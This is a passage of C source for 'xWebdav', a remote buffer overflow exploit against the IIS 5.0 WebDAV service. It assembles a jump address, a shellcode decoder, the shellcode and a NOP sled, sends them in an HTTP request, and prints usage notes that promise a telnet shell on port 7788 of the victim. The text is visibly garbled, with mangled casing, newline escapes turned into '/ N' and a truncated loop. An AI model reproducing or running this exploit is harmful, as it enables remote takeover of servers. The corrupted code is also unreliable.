STRCAT (PSTR, JMPOVER); // jmp addr STRCAT (PSTR, JMPADDR); // Decode real shellcode STRCAT (PSTR, DECODER); // Real shellcode STRCAT (PSTR, XShellcode); // How many NOP CODE is required after calculating Inop = (bufflen-overpoint-8-strlen (decoder) / 3-strlen (xshellcode) * 2) / 2; // Fill NOP CODE For (i = 0; I STRCAT (PSTR, SZNOP); STRCAT (PSTR, "HTTP / 1.0 / N" "Content-Type: Text / XML / N" "Content-Length: 8 / N / N" "OOOOOOOOOO / n / n"); // Send our carefully constructed buff IRET = Sendbuffer (IP, IPORT, PSTR, STRLEN (PSTR)); / / Release memory Free (PSTR); Return IRet; } Void usage () { Printf ("/ NXWebdav -> IIS5.0 Webdav Remote Buffer overflow Exploit / N" "Writen by EY4S "Thanks to Yuange, MODA, ISNO. / N" "2004-04-24 / N" "IF SUCCESS, TELNET to TARGET: 7788 / N / N" "USAGE: XWEBDAV <-i ip> [-h host] [-p port] [-t ostype] [-s sp] [-o OFFSET] / N / N " "[TYPE] / N" "0 / TSIMPLIED Chinese, Traditional Chinese./N" "1 / tjapanese, korean. / N" "2 / TOS IS English Edition and System Default CodePage IS CN, TW, JP, KR. / N / N " "[SP] / N" "0 / TSERVICE PACK 0 (DEFAULT INSTALL, NOT ANY PATCH) / N" "1 / TService Pack 1 / N" "2 / TService Pack 2 / N" "3 / TService Pack 3 / N / N" "[offset] / n" "7-80 / n / N" "[eXample] / n" "xWebdav -i 1.1.1.1 <- brute force / n" "xWebdav -i 1.1.1.1 --t 1 <- TRY Exploit JP, KR SP0-3 / N" "xwebdav -i 1.1.1.1 -t 1 -s 3 -O 23 <- TRY Exploit JP, KR SP3 USE OFFSET 23 / N / N "); } = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - =